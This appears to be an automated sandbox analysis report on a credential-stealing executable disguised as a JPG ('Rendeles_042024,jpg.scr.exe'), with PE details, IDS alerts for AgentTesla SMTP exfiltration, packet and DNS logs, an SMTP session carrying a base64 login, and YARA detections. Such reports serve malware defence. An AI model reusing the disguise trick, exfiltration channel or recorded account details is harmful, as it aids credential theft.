add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb577c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb6000	0x940	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb37d4	0xb3800	1a7601b07ef2d89d17d0efdbfd048662	False	0.9340371474582173	data	7.931478273821282	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb6000	0x940	0xa00	b892264f91ac6cddf3e7519442cdda99	False	0.516796875	data	5.0431684949155455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb8000	0xc	0x200	a758948dbb69479005bb3fc6ae2ae447	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb60e8	0x51d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.679144385026738
RT_GROUP_ICON	0xb6608	0x14	data	1.05
RT_VERSION	0xb661c	0x320	data	0.45

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/29/24-10:17:57.586988	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49710	587	192.168.2.5	77.93.220.4
04/29/24-10:17:57.524587	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49710	587	192.168.2.5	77.93.220.4
04/29/24-10:17:57.586988	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49710	587	192.168.2.5	77.93.220.4
04/29/24-10:17:57.586988	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49710	587	192.168.2.5	77.93.220.4
04/29/24-10:17:57.586988	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49710	587	192.168.2.5	77.93.220.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 29, 2024 10:17:51.278336048 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:51.278371096 CEST	443	49707	104.26.13.205	192.168.2.5
Apr 29, 2024 10:17:51.278441906 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:51.283035040 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:51.283049107 CEST	443	49707	104.26.13.205	192.168.2.5
Apr 29, 2024 10:17:51.515499115 CEST	443	49707	104.26.13.205	192.168.2.5
Apr 29, 2024 10:17:51.515566111 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:51.666883945 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:51.666910887 CEST	443	49707	104.26.13.205	192.168.2.5
Apr 29, 2024 10:17:51.667247057 CEST	443	49707	104.26.13.205	192.168.2.5
Apr 29, 2024 10:17:51.710130930 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:53.261245012 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:53.304119110 CEST	443	49707	104.26.13.205	192.168.2.5
Apr 29, 2024 10:17:53.427769899 CEST	443	49707	104.26.13.205	192.168.2.5
Apr 29, 2024 10:17:53.427843094 CEST	443	49707	104.26.13.205	192.168.2.5
Apr 29, 2024 10:17:53.427889109 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:53.440761089 CEST	49707	443	192.168.2.5	104.26.13.205
Apr 29, 2024 10:17:53.616277933 CEST	49709	80	192.168.2.5	208.95.112.1
Apr 29, 2024 10:17:53.741494894 CEST	80	49709	208.95.112.1	192.168.2.5
Apr 29, 2024 10:17:53.741590977 CEST	49709	80	192.168.2.5	208.95.112.1
Apr 29, 2024 10:17:53.741703033 CEST	49709	80	192.168.2.5	208.95.112.1
Apr 29, 2024 10:17:53.921405077 CEST	80	49709	208.95.112.1	192.168.2.5
Apr 29, 2024 10:17:54.038269043 CEST	49709	80	192.168.2.5	208.95.112.1
Apr 29, 2024 10:17:54.680984974 CEST	49709	80	192.168.2.5	208.95.112.1
Apr 29, 2024 10:17:54.806488991 CEST	80	49709	208.95.112.1	192.168.2.5
Apr 29, 2024 10:17:54.806555033 CEST	49709	80	192.168.2.5	208.95.112.1
Apr 29, 2024 10:17:55.120079041 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:55.341579914 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:55.341669083 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:55.722220898 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:55.722390890 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:55.943932056 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:55.943980932 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:55.944952965 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:56.166390896 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:56.166620970 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:56.388094902 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:56.388509989 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:56.611406088 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:56.663253069 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:56.749385118 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:56.973268032 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:57.022649050 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:57.074088097 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:57.307060003 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:57.350749969 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:57.524586916 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:57.586987972 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:57.587014914 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:57.587116957 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:17:57.783621073 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:57.808399916 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:57.808459044 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:57.819467068 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:17:57.866381884 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:19:34.711077929 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:19:34.932605028 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:19:34.932626963 CEST	587	49710	77.93.220.4	192.168.2.5
Apr 29, 2024 10:19:34.932692051 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:19:34.932737112 CEST	49710	587	192.168.2.5	77.93.220.4
Apr 29, 2024 10:19:35.154280901 CEST	587	49710	77.93.220.4	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 29, 2024 10:17:51.158360958 CEST	64086	53	192.168.2.5	1.1.1.1
Apr 29, 2024 10:17:51.268486977 CEST	53	64086	1.1.1.1	192.168.2.5
Apr 29, 2024 10:17:53.501153946 CEST	55745	53	192.168.2.5	1.1.1.1
Apr 29, 2024 10:17:53.615375042 CEST	53	55745	1.1.1.1	192.168.2.5
Apr 29, 2024 10:17:54.681648970 CEST	53127	53	192.168.2.5	1.1.1.1
Apr 29, 2024 10:17:55.119357109 CEST	53	53127	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 29, 2024 10:17:51.158360958 CEST	192.168.2.5	1.1.1.1	0x1991	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 29, 2024 10:17:53.501153946 CEST	192.168.2.5	1.1.1.1	0x685e	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 10:17:54.681648970 CEST	192.168.2.5	1.1.1.1	0x5449	Standard query (0)	mail.woxi.cz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 29, 2024 10:17:51.268486977 CEST	1.1.1.1	192.168.2.5	0x1991	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 29, 2024 10:17:51.268486977 CEST	1.1.1.1	192.168.2.5	0x1991	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 29, 2024 10:17:51.268486977 CEST	1.1.1.1	192.168.2.5	0x1991	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 29, 2024 10:17:53.615375042 CEST	1.1.1.1	192.168.2.5	0x685e	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 29, 2024 10:17:55.119357109 CEST	1.1.1.1	192.168.2.5	0x5449	No error (0)	mail.woxi.cz	77.93.220.4	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	208.95.112.1	80	2140	C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Timestamp	Bytes transferred	Direction	Data
Apr 29, 2024 10:17:53.741703033 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 29, 2024 10:17:53.921405077 CEST	174	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 08:17:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	104.26.13.205	443	2140	C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 08:17:53 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-29 08:17:53 UTC	211	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 08:17:53 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87bddbb44f426057-ORD
2024-04-29 08:17:53 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 36 32 2e 39 30 Data Ascii: 81.181.62.90

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 29, 2024 10:17:55.722220898 CEST	587	49710	77.93.220.4	192.168.2.5	220 mxp.anafra.net ESMTP Postfix (Debian/GNU)
Apr 29, 2024 10:17:55.722390890 CEST	49710	587	192.168.2.5	77.93.220.4	EHLO 715575
Apr 29, 2024 10:17:55.943980932 CEST	587	49710	77.93.220.4	192.168.2.5	250-mxp.anafra.net 250-PIPELINING 250-SIZE 52428800 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250 8BITMIME
Apr 29, 2024 10:17:55.944952965 CEST	49710	587	192.168.2.5	77.93.220.4	AUTH login cG9rbG9wc2VydmlzQHdveGkuY3o=
Apr 29, 2024 10:17:56.166390896 CEST	587	49710	77.93.220.4	192.168.2.5	334 UGFzc3dvcmQ6
Apr 29, 2024 10:17:56.388094902 CEST	587	49710	77.93.220.4	192.168.2.5	235 2.7.0 Authentication successful
Apr 29, 2024 10:17:56.388509989 CEST	49710	587	192.168.2.5	77.93.220.4	MAIL FROM:<poklopservis@woxi.cz>
Apr 29, 2024 10:17:56.611406088 CEST	587	49710	77.93.220.4	192.168.2.5	250 2.1.0 Ok
Apr 29, 2024 10:17:56.749385118 CEST	49710	587	192.168.2.5	77.93.220.4	RCPT TO:<hellovicky@engineer.com>
Apr 29, 2024 10:17:56.973268032 CEST	587	49710	77.93.220.4	192.168.2.5	250 2.1.5 Ok
Apr 29, 2024 10:17:57.074088097 CEST	49710	587	192.168.2.5	77.93.220.4	DATA
Apr 29, 2024 10:17:57.307060003 CEST	587	49710	77.93.220.4	192.168.2.5	354 End data with <CR><LF>.<CR><LF>
Apr 29, 2024 10:17:57.587116957 CEST	49710	587	192.168.2.5	77.93.220.4	.
Apr 29, 2024 10:17:57.819467068 CEST	587	49710	77.93.220.4	192.168.2.5	250 2.0.0 Ok: queued as D4DAE1B201A
Apr 29, 2024 10:19:34.711077929 CEST	49710	587	192.168.2.5	77.93.220.4	QUIT
Apr 29, 2024 10:19:34.932605028 CEST	587	49710	77.93.220.4	192.168.2.5	221 2.0.0 Bye

Target ID:	0
Start time:	10:17:49
Start date:	29/04/2024
Path:	C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"
Imagebase:	0xd30000
File size:	738'816 bytes
MD5 hash:	F9A9054852E6529E9E3D8B392241601C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2022036675.0000000007BB0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2008266464.0000000003259000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:17:50
Start date:	29/04/2024
Path:	C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"
Imagebase:	0x50000
File size:	738'816 bytes
MD5 hash:	F9A9054852E6529E9E3D8B392241601C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:17:50
Start date:	29/04/2024
Path:	C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"
Imagebase:	0xc40000
File size:	738'816 bytes
MD5 hash:	F9A9054852E6529E9E3D8B392241601C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.3249220624.000000000302D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.3249220624.0000000003035000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3249220624.0000000003004000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.3249220624.0000000003004000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	68
Total number of Limit Nodes:	6

Executed Functions

Function 02FF1343 Relevance: 2.7, Strings: 2, Instructions: 244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02FF1441
Te]q, xrefs: 02FF15D8

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 7e84aee911ef92accc92fd35491b96208b698a9c5cb1310f694f524abac37ca4
Instruction ID: 5ee09093d4c0154f6065ca99908cae267ccba4f5190ab5d35535ed61f8a7dd40
Opcode Fuzzy Hash: 7e84aee911ef92accc92fd35491b96208b698a9c5cb1310f694f524abac37ca4
Instruction Fuzzy Hash: 18A11370E04249CFDB44CFA9C9906EEFBB2FF8A300F24846AD959AB265D7305946CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02FF13D8 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02FF1441
Te]q, xrefs: 02FF15D8

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: d788539be0760ce997ae58d8acf5eb17f6c484f3f4e77bb309ab557871c1e204
Instruction ID: 95ec1f8942f518cc961980a9e96826097a86e37a545264bf31d4251ed80fc000
Opcode Fuzzy Hash: d788539be0760ce997ae58d8acf5eb17f6c484f3f4e77bb309ab557871c1e204
Instruction Fuzzy Hash: 73819174E00219CFDB48CFA9D984AAEFBB2FF89300F14852AD619AB364D7349905CF54

Uniqueness

Uniqueness Score: -1.00%

Function 03169B24 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 083f72e50e494089c23816b053c8d3d874cf5b9dc9783f60b24f7d0a4b40324f
Instruction ID: 93f411591122910da55e75f7b696b2f87caab86a84127ea16e0a76fc6260960f
Opcode Fuzzy Hash: 083f72e50e494089c23816b053c8d3d874cf5b9dc9783f60b24f7d0a4b40324f
Instruction Fuzzy Hash: CBA18F75E0031A8FCB04DFA4D8549DDFBBAFF8E304F158619E419AB264DB30A891CB51

Uniqueness

Uniqueness Score: -1.00%

Function 03169B18 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9228356af2ee875841e8c26c72740b7ebc08d98f5da501e68a497de72670652
Instruction ID: 5401d1f61a7a17a040b7ba82758c7772b4458ce8dac3da81e8c931672487e8e8
Opcode Fuzzy Hash: c9228356af2ee875841e8c26c72740b7ebc08d98f5da501e68a497de72670652
Instruction Fuzzy Hash: F6917D75E0031A8FCB04DFA4D8548DDFBBAFF9E314B148619E419AB2A4DB30A895CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0316AB3E Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bf72d9769b22935e6071250d478170df7b2565df5cfc74d71be1d07bb354f31
Instruction ID: c0a0c47cedd53069ed3043166753aafc6748aeb5aacc9fdbc1d8a6754d3d6c4b
Opcode Fuzzy Hash: 8bf72d9769b22935e6071250d478170df7b2565df5cfc74d71be1d07bb354f31
Instruction Fuzzy Hash: CE916E75E0031A9FCB04DFB0D8448DDFBBAFF9E314B148619E419AB2A4DB30A991CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02FF1B30 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e4266aaa650004676966bd67264353e95b590b87c6c5f9619e3b8e0ddd8ff4
Instruction ID: 03769f625a2fbc4c1cf1548fff417360d2b24c647d8d2fc85949756dae6ead83
Opcode Fuzzy Hash: 28e4266aaa650004676966bd67264353e95b590b87c6c5f9619e3b8e0ddd8ff4
Instruction Fuzzy Hash: F7513874E05209CFDB48CFAAC5406AEFBF2EF88340F14D06AD619A7265E7349A41CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0302EB08 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e038d3a1a3cc546b4ac896bf79f409b0c4ead699c410c9ad4d3b34b4c829a3e
Instruction ID: 4a3acf8346d26770d47155fde2e06f7c64e924cb34aff4a74e32d73565885ebf
Opcode Fuzzy Hash: 3e038d3a1a3cc546b4ac896bf79f409b0c4ead699c410c9ad4d3b34b4c829a3e
Instruction Fuzzy Hash: D84199B4D022199FDB20DFE9C984A9EFFF5AB09300F20942AE418BB354D775A945CF58

Uniqueness

Uniqueness Score: -1.00%

Function 02FF2550 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aa3f104885b2110ec8f94bae766238a551ddb3e5c56b9f35b6efdd54435cd43
Instruction ID: 98bf15c4a16d9f4bdf058eaa4afd3613fdcf7efce40248cc5676d3c05cac18ff
Opcode Fuzzy Hash: 5aa3f104885b2110ec8f94bae766238a551ddb3e5c56b9f35b6efdd54435cd43
Instruction Fuzzy Hash: 8B314871E002588FDB28CFAAD88468EBBB7BFC9310F14C0AAD509AB264DB345945CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02FF08D0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a40f5f2d01809ee6bc2ce9b9f0d415bf875f377752865484c33773baee27242e
Instruction ID: a8f4ff200270b0749100a1c6ec2eebf6ed008eea73822dc13a6b389759ee80f2
Opcode Fuzzy Hash: a40f5f2d01809ee6bc2ce9b9f0d415bf875f377752865484c33773baee27242e
Instruction Fuzzy Hash: D5210A71E046188FEB58CFABD84079EFBF7AFC9200F04C4BAC918A6224EB3059558F51

Uniqueness

Uniqueness Score: -1.00%

Function 0302F4A0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efb4030b286436b1459b2c473000050e2738663f3a8256de2c136d58780b38c4
Instruction ID: b0afd27da073e017de246eb78b412afd8afba98e0ce4603b7873be8ff025b466
Opcode Fuzzy Hash: efb4030b286436b1459b2c473000050e2738663f3a8256de2c136d58780b38c4
Instruction Fuzzy Hash: 7421BFB8D05219DFCB04CFAAD4446EEFBF1AB49350F24E12AE824B7250D7349941CF58

Uniqueness

Uniqueness Score: -1.00%

Function 03022795 Relevance: 28.1, Strings: 22, Instructions: 598COMMON

Download Yara Rule

Strings

XX]q, xrefs: 03022C1D
Te]q, xrefs: 03022A65
XX]q, xrefs: 03022B21
$]q, xrefs: 03022E21
fbq, xrefs: 030228D1
fbq, xrefs: 030228F4
fbq, xrefs: 0302293B
XX]q, xrefs: 03022AE2
fbq, xrefs: 030228DD
$]q, xrefs: 03022F11
$]q, xrefs: 03022E43
fbq, xrefs: 03022F6C
Te]q, xrefs: 03022C72
XX]q, xrefs: 03022C64
fbq, xrefs: 03022F5C
fbq, xrefs: 03022E11
$]q, xrefs: 03022F01
XX]q, xrefs: 03022C2D
Te]q, xrefs: 03022C7E
$]q, xrefs: 03022E37
$]q, xrefs: 03022D37
XX]q, xrefs: 03022BE8

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: fbq$ fbq$ fbq$ fbq$ fbq$ fbq$ fbq$Te]q$Te]q$Te]q$XX]q$XX]q$XX]q$XX]q$XX]q$XX]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1647153398
Opcode ID: ce1c8d69fc16d98e9d613a29ab39a9d62fb427fffe765b877d332bcb4d5d8ea6
Instruction ID: abb4f2dac9472cbe6699e7a988333f858812591e7eab2775fb47621ca30be6ba
Opcode Fuzzy Hash: ce1c8d69fc16d98e9d613a29ab39a9d62fb427fffe765b877d332bcb4d5d8ea6
